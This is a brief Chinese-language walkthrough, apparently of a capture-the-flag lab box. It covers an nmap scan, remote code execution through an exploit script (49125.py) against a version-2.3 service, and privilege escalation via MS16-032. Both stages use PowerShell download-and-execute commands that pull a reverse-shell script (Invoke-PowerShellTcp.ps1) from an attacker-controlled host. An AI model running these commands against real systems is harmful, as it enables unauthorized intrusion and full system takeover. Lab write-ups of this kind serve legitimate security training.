nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.254.155 (扫描TCP)

查看到版本是2.3,有rce

python3 49125.py 10.129.254.155 80  "c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.43:8000/Invoke-PowerShellTcp.ps1')"

开始操作提权

查询漏洞

https://github.com/rayhan0x01/reverse-shell-able-exploit-pocs/blob/master/ms16-032.md 发现有MS16032漏洞

尝试上传挡案

下载后执行. 

Invoke-MS16032 -Command "iex(New-Object Net.WebClient).DownloadString('http://10.10.16.43:8000/Invoke-PowerShellTcp.ps1')"

直接执行./Invoke-MS16032.ps1 直接拿下